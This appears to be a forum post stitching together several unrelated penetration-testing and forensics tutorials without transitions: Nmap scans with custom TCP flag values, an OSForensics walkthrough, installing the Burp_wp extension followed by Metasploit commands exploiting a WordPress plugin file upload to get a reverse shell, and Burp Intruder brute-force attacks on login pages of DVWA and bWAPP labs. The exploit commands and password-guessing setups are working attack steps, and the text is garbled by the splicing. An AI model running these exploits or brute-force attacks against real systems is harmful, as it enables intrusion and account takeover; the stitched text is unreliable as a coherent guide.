Login

**NINZA** · 05-14-2020, 08:11 AM

0			0

In this article, we are going to scan the target machine by sending TCP flags through their hexadecimal value and the actual Flag name can be confirmed by analysis of Nmap traffic through Wireshark.
Let’s have a look over Hex value of TCP Flag in given below table which we are going to use in Nmap for port enumeration.
[Image: 0.png?w=687&ssl=1]

NULL Scan
In this scan, we are sending the NONE flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x00 192.168.1.103
1
nmap -p21 --scanflags 0x00 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 1.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get a packet for TCP-NONE flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-NONE packet for hex value 0x00 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 2.png?w=687&ssl=1]

FIN Scan
TCP-FIN flag always used for finishing the communication with the target network. In this scan, we are sending the FIN flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x01 192.168.1.103
1
nmap -p21 --scanflags 0x01 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 3.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get a packet for TCP-FIN flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-FIN packet for hex value 0x01 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 4.png?w=687&ssl=1]

SYN Scan
TCP-SYN flag always initiates communication to establish a connection with the target network. In this scan, we are sending the SYN flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x02 192.168.1.103
1
nmap -p21 --scanflags 0x02 192.168.1.103
From given below image you can observe we have successfully found port 21 open.
[Image: 5.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get a packet for TCP-SYN flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-SYN packet for hex value 0x02 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 6.png?w=687&ssl=1]

Reset Scan
RST flag is used to reset the connection between the sender machine and the target machine. In this scan, we are sending the RST flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x04 192.168.1.103
1
nmap -p21 --scanflags 0x04 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 7.1.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get a packet for TCP-RST flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-RST packet for hex value 0x04 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 7.2.png?w=687&ssl=1]

PUSH Scan
In this scan, we are sending the PSH flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x08 192.168.1.103
1
nmap -p21 --scanflags 0x08 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 7.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get a packet for TCP-PSH flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-PSH packet for hex value 0x08 coming from 192.168.1.104 on port 21 as shown in given below image.
PUSH flag is used to push the process priority higher of the packet to the target machine.
[Image: 8.png?w=687&ssl=1]

ACK Scan
Ack flag is used to acknowledge the sender machine whether the packet is received or dropped by the target. So that the sender again sends the lost or dropped packet on the target network to complete the communication process. Here we are sending the ACK flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x10 192.168.1.103
1
nmap -p21 --scanflags 0x10 192.168.1.103
From given below image you can observe we have found port 21 closed.
[Image: 9.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get a packet for TCP-ACK flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-ACK packet for hex value 0x10 coming from 192.168.1.104 on port 21 as shown in given below image.
Open and closed ports will both return an RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that don’t respond, or send certain ICMP error messages back (type 3, code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered. (From Nmap.org)
[Image: 10.png?w=687&ssl=1]

Urgent Scan
URG flag is used to set the high process priority of the packet to the target. So that target machine stops processing the current packet and process the URG Flag packet. In this scan, we are sending the Urg flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x20 192.168.1.103
1
nmap -p21 --scanflags 0x20 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 11.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get a packet for TCP-URG flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-URG packet for hex value 0x20 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 12.png?w=687&ssl=1]

XMAS Scan
In this scan, we are sending the combination of the hexadecimal value of the different flag on the target machine. As we know in Xmas scan combination of three TCP-flags [FIN, PSH, URG] are used to enumerate state of the port.
By adding the value of the flag, which is equal to the hexadecimal value of the sender’s hexadecimal value as described in given below the table.
[Image: 13.1.png?w=687&ssl=1]

Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x29 192.168.1.103
1
nmap -p21 --scanflags 0x29 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 13.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, PSH, URG] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, PSH, URG for hex value 0x29 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 14.1.png?w=687&ssl=1]

Manual Combination of Flags [FIN, SYN, PSH]
Let have a quick review over decimal to hexadecimal conversion with the help of the following table:
[Image: 14.2.png?w=687&ssl=1]

Now repeat the same methodology by changing the combination of the flag to enumerate the state of any port. For example, we want to scan any port by sending a combination of three flags [FIN, SYN, and PSH] so let identify hex value for the sum of three flags.
[Image: 15.0.png?w=687&ssl=1]

Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x0B 192.168.1.103
1
nmap -p21 --scanflags 0x0B 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 15.1.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, SYN and PSH] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, SYN,PSH for hex value 0x0B coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 15.2.png?w=687&ssl=1]

Manual Combination of Flags [FIN, RST, PSH]
Now repeat the same methodology by changing the combination of the flag to enumerate the state of any port. For example, we want to scan any port by sending a combination of three flags [FIN, RST, and PSH] so let identify hex value for the sum of three flags.
[Image: 15.3.png?w=687&ssl=1]

Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x0D 192.168.1.103
1
nmap -p21 --scanflags 0x0D 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 15.4.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, RST, and PSH] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, RST,PSH for hex value 0x0D coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 15.5.png?w=687&ssl=1]

Manual Combination of Flags [FIN, SYN, RST, PSH]
Now repeat the same methodology by changing the combination of the flag to enumerate the state of any port. For example, we want to scan any port by sending a combination of four flags [FIN, SYN, RST, and PSH] so let identify hex value for the sum of four flags.
[Image: 15.6.png?w=687&ssl=1]

Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x0F 192.168.1.103
1
nmap -p21 --scanflags 0x0F 192.168.1.103
From given below image you can observe we have found port 21 filtered.
[Image: 15.png?w=687&ssl=1]

When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, SYN, RST, and PSH] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, SYN, RST, PSH for hex value 0x0F coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 16.png?w=687&ssl=1]

In Part 1 of this article, we have covered Creating case, File Search and Indexing. This article will cover some more features/ functionalities of OSForensics.
For Part 1 if this article clicks

[To see content please register here]

.
Recent Activity
Recent Activity feature allows an investigator to scan the evidence for recent activity, such as accessed websites, USB drives, wireless networks, recent downloads and many more.
To start with open OSForensics and select Recent Activity.
[Image: 1.png?w=687&ssl=1]

We have an option to capture the Recent Activities either through the live acquisition of current machines or by scanning drives/evidence.
To capture the live acquisition of the current machine select the first option and click on scan. If we have opted to investigate the case of another machine at the time of creating the case (shown in part 1 of this article), we may get a warning message as shown below, Click on yes to continue.
[Image: 2.png?w=687&ssl=1]

But we will be acquiring our evidence (.E01 image file).
Scanning will start and may take some time for this operation to complete.
Once the scanning is complete we will get a pop up with the summary of the scanned evidence.
[Image: 3.png?w=687&ssl=1]

Click on the OK button and on the recent activity window we can find all the recent activity details with the heading on the left pane and details of related files on the right.
Below is the list view of the files
[Image: 4.png?w=687&ssl=1]

We can also view the file details by clicking on the File Details tab
[Image: 5.png?w=687&ssl=1]

To further analyze any file, simply right-click on file for further file options.
[Image: 6.png?w=687&ssl=1]

Similarly, we can investigate the recent activity of any particular drive.
We can also change the configurations or apply/remove any filters as per the requirement but these changes are to be done before starting the scan.
To edit the configurations click on “Config” button located at the top right corner on recent activity window.
[Image: 7.png?w=687&ssl=1]

Check/Uncheck the options as required or if required change the date/date range for a particular time-based activity and click OK.
For managing the filters click on the “Filters” button located below the “Config” button
[Image: 8.png?w=687&ssl=1]

We can add a filter as required by selecting a value from the drop-down or fill the details as required.
[Image: 9.png?w=687&ssl=1]

In the below image we have applied a filter and set its parameters as per requirement.
[Image: 10.png?w=687&ssl=1]

Click on Add Filter button and then OK, the filter will get added.
[Image: 11.png?w=687&ssl=1]

This ends the Recent Activity feature.
Deleted File Search
Deleted files recovery is one of the prime requirements for digital forensics. OSF offers a very simple and efficient deleted file recovery/search.
To search the deleted files click on “Deleted files Search” and select the drive we want to search on from the drop-down. We can select the complete Physical drive/Hard Disk (PhysicalDrive0), Acquired Evidence or any Logical drive(C/D/E), for which we want to recover the data.
[Image: 12.png?w=687&ssl=1]

Click on the “Config” button and check/uncheck the options as required. Select the Quality from the drop-down (Please note better the quality more time it will take to process), for better result check the file carving option. We can also limit the file size we want to search for (this will omit the files that are not in the range to refine the search), Click Ok.
[Image: 13.png?w=687&ssl=1]

On preset drop-down select the file type we want to recover/search. Select all files if we need to have multiple file types as output.
[Image: 14.png?w=687&ssl=1]

Once all the settings are done, click on Search. Depending on the volume of data and configurations we opted for it may take some time for the process to complete.
[Image: 15.png?w=687&ssl=1]

We can also see the thumbnail view of the files for faster analysis.
[Image: 16.png?w=687&ssl=1]

To save /recover the file select the files we want to recover and right-click for options and save the files.
[Image: 17.png?w=687&ssl=1]

This concludes the Deleted file search.
Mismatch File Search
This feature enables us to identify the files whose extensions don’t match their data. Through this, we can capture some relevant evidence that could be in form of an image, document or pdf but pretending to be of some other extension. For example, a word file can be mismatched with a jpeg file (such a data could be also called “Dark Data”).
To start with click on Mismatch File Search, select the drive/directory along with the filter from the drop-down or create a filter as required, if we are not sure about the filter settings, we can go with “All (Built In)” filter and click search.
This will show the result in the file list. We can also see the thumbnail view of the files.
[Image: 18.png?w=687&ssl=1]

Memory Viewer
Memory Viewer feature shows active memory of the system on which OSF is working on. It can’t be used to show the memory of acquired image or drive of another computer (we will illustrate this feature on our running machine and not on our evidence file). We can dump the live memory /RAM for further investigation.
To start with open OSF and click on Memory Viewer. We can see the list of all the processes currently running along with their Process ID (PID). Click on any process and we can see its details under process Info. Click on refresh to refresh the process list.
[Image: 19.png?w=687&ssl=1]

Click on the select window the cursor icon will change from pointer to a circle, click anywhere on-screen or on any other running application and we can see the process details of the process we have clicked on. For instance, in the below image we have clicked on an open word file and the process corresponding to that word file will get displayed.
[Image: 20.png?w=687&ssl=1]

Click on dump Physical Memory, this will dump the physical memory/ RAM in a .bin file and can save it anywhere. In below image, we are saving the file with name Memory Dump.bin in a folder named Physical Memory Dump on Desktop
[Image: 21.png?w=687&ssl=1]

As we click on save pop up will appear till the Memory is being dumped.
[Image: 22.png?w=687&ssl=1]

Once completed, we will get a success Message.
[Image: 23.png?w=687&ssl=1]

We can also save a crash dump, just browse to a directory and save the file. The extension of the crash dump file is .dmp. In the below image, we are saving a crash dump file with a name CrashDump.dmp. We will get the following message when the dump is in progress
[Image: 24.png?w=687&ssl=1]

Once the dump is completed we will get a success message.
[Image: 25.png?w=687&ssl=1]

This concludes the Memory Viewer
Prefetch Viewer
The prefetch viewer displays the .exe files that we have last executed on the system. To start with open OS Forensic and click on prefetch viewer.
[Image: 26.png?w=687&ssl=1]

We can browse the drive from the drop down to check the .exe file that has executed on a particular drive. We can click on any particular drive and can see the details of the exe along with mapped files under the mapped file tab.
[Image: 27.png?w=687&ssl=1]

Also, we can view the directories, mapped with the .exe file under Mapped Directory Tab.
[Image: 28.png?w=687&ssl=1]

This concludes the Prefetch Viewer.
For more on OSForensics wait for the next article.

Burp_wp is an extension of burpsuite used to scan and find vulnerabilities in WordPress plugins and themes using a burpsuite proxy. It was created by Kacper Szurek and can be downloaded from

[To see content please register here]

.
Let’s begin
To run this extension we first need to install Jython. Jython is an implementation of python programming that can run on the Java platform. You can download Jython from

[To see content please register here]

.
Now we download Jython to burpsuite. We go to the python Environment and locate the jar file.
[Image: 1.PNG?w=687&ssl=1]

Now we go to the extender, and select extensions tab to add the burp_wp extension.
[Image: 2.PNG?w=687&ssl=1]

We click on Add, a pop up will come. We select python as an extension type and give the location at which the burp_wp file is located. We select “show in UI” for standard output and error to get an error if any occur.
[Image: 3.PNG?w=687&ssl=1]

As soon as the extension gets installed we get the message in the image below that shows it was installed successfully.
[Image: 4.PNG?w=687&ssl=1]

Now we get a new “Burp WP” tab. Burp_WP automatically updates the first time it gets installed. It downloads the list of vulnerable plugins and theme from the database of WPscan.
[Image: 5.PNG?w=687&ssl=1]

Now we intercept the request of the website we want to scan for vulnerabilities.
[Image: 6.PNG?w=687&ssl=1]

As soon as we forward the request we go to Burp WP tab and we can find all the vulnerable plugins and themes on the website. We will get all vulnerable plugins and themes as we go through the site.
[Image: 7.PNG?w=687&ssl=1]

Now we use Metasploit to exploit this vulnerability.
msf > use exploit/unix/webapp/wp_nmediawebsite_file_upload
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > set rhost 192.168.1.143
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > run
1
2
3
msf > use exploit/unix/webapp/wp_nmediawebsite_file_upload
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > set rhost 192.168.1.143
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > run
As soon as we run this exploit we get the reverse shell.
[Image: 8.png?w=687&ssl=1]

In our

[To see content please register here]

article part1, we had discussed how to perform a brute force attack on any web application server for making unauthorized login into it using some Payload of Burpsuite. In part 2 articles you will learn more about brute force attack with help of remaining BurpSuite payloads that might be helpful in other situation.
Let’s Start!!
Character Substitution
This type of payload allows to configure a list of strings and apply various character substitutions to each item. This type of payload is useful in password guessing attacks and generating common variations on dictionary words.
The UI of this payload allows you to configure a number of character substitutions. For each item, it will generate a number of payloads, which include all permutations of substituted characters according to the defined substitutions.
For example, the default substitution rules states (which include e > 4 and r > 5), the item “Raj Chandel” will generate the following payloads:
raj chandel
5aj chandel
raj chand4l
5aj chand4l
First, we have intercepted the request of the login page in the DVWA LAB, where we have given a default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 1.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as

In the given below image, we have selected a password that means we will need one dictionary files for a password.

Now click on payloads option after selecting payload position. Here we can add a dictionary by clicking on Load option or we can manually add Strings by clicking on the Add option.
Now we have substituted 4>a, 5>s, 9>o as per our requirements to match the password and we have added the input as p445w9rd using the Add option which will substitute the character’s according to the Defined substitution as shown in the image.
Start Attack in the Intruder menu as shown in the image.
[Image: 3.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the password and will give you the correct password. The moment it will find the correct value, it will change the value of length as shown.
[Image: 4.png?w=687&ssl=1]

And to confirm the password matched, we will give the matched password in the DVWA LAB login page. We will see a message “Welcome to the password protected area admin” which shows our success in the character substitution payload attack.
[Image: 5.png?w=687&ssl=1]

Copy Other Payload
This is a type of payload which can copy the value of the current payload to another payload position. It is very useful for attack types that have multiple payload sets such as cluster bomb, pitchfork, and battering ram. This payload type can be useful in various situations, for example:

Suppose we are using two different parameters and we want to attack at two different fields, therefore we can set different “payload types” at multiple “payload sets” inside burpsuite payload configuration as per our attack type as it allows us to simply use the same dictionary for both payloads that we have set at particular position by giving the position of the payload we want to copy. It will execute the complete payload which is set at a specific position.

First, we have intercepted the request of the login page in the Bwapp LAB, where we have given wrong username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 6.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted username and password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack which is the username and password and click on Add button.
Choose the Attack type as Cluster Bomb.
In the given below image, we have selected username and password that means we will need two dictionary files i.e. one for username and second for a password.

Now click on payloads option after selecting payload position, here we need to add a dictionary which will use for both payload set. Then select the Payload type as Simple list for Payload Set ‘1’ which will attack at the username field.
[Image: 8.png?w=687&ssl=1]

Now to attack at the password field we will select Payload type as Copy other payloads for Payload Set ‘2’ because we want to attack the same payload type at payload set 2 which will copy the dictionary given for payload set 1 to attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 9.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the username and password which will give you the correct username and password. The moment it will find the correct value, it will change the value of length as shown in the image.
And to confirm the password matched, you can give the matched password in the BWAPP LAB login page.
[Image: 10.png?w=687&ssl=1]

Username Generator
This type of payload allows you to set up a list of names or email addresses and can produce usernames from given specific schemes.
For example, Let’s take a username “raj chandel” which can give results in up to 115 possible usernames, some combination is as follows :
rajchandel
raj.chandel
chandelraj
chandel.raj
chandel
raj
rajc
etc…
This type of payload is useful to target at a specific user, where you do not know the username or email address scheme of the user which is being used in a specific application.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given wrong username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 12.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted username and password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack which is the username and password and click on Add button.
Choose the Attack type as Cluster Bomb.
In the given below image, we have selected username and password that means we will need two dictionary files i.e. one for username and second for the password.

Then select the Payload type as “Username Generator” for Payload Set ‘1’ which will attack at the username field, we have a given input string “raj chandel” by using the Add option as shown in the image, which will use different permutations on that input string given to match the correct username.
[Image: 14.png?w=687&ssl=1]

Now to attack at the password field we will select Payload type as Simple list for Payload Set ‘2’ for which we have added a dictionary manually created by us by using the Load option.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 15.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the username and password which will give you the correct username and password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 16.png?w=687&ssl=1]

Dates
This type of payload generates date payloads within a given range and in a specified format. This type of payload is can be used in data mining or brute forcing.
For example, it can be used to guess a user’s birth date, wedding date, anniversary date etc which can be used to brute force the security questions for an application or web applications, or it can use to brute force the password of user’s, where the user uses dates as their password.
The following options are available in this type of payload:

From – This is said as the first date which will be generated.
To – This is said as the last date which will be generated.
Step – This is said as an increase between sequential dates, days, weeks, months or years. It should be a positive value.
Format – This is said as the format in which dates can be represented. we can select from different predefined date formats, or we can make our own custom date format as per our requirement. Some example of the date format is given below:

E
Mon
EEEE
Monday
D
2
dd
02
M
9
MM
09
Repeat the same to intercept the request of the login page in the Bwapp LAB, where we have given wrong username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 18.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted username and password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack which is the username and password and click on Add button.
Choose the Attack type as Cluster Bomb.
In the given below image, we have selected username and password that means we will need two dictionary files i.e. one for username and second for the password.

Then select the Payload type as Simple list for Payload Set ‘1’ which will attack at the username field where we have given a dictionary as an input string as shown in given below image.
[Image: 20.png?w=687&ssl=1]

Now to attack at the password field we will select Payload type as Dates for Payload Set ‘2’ because we are guessing the user might have its birth date or any other date as a password.
After this, we have set the inputs for Payload set ‘2’ in the fields given in the payload options such as FROM, TO, STEP and FORMAT as shown in the image.
Now Select Start Attack in the Intruder menu for brute force attack.
[Image: 21.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the username and password which will give you the correct username and password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 22.png?w=687&ssl=1]

h

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis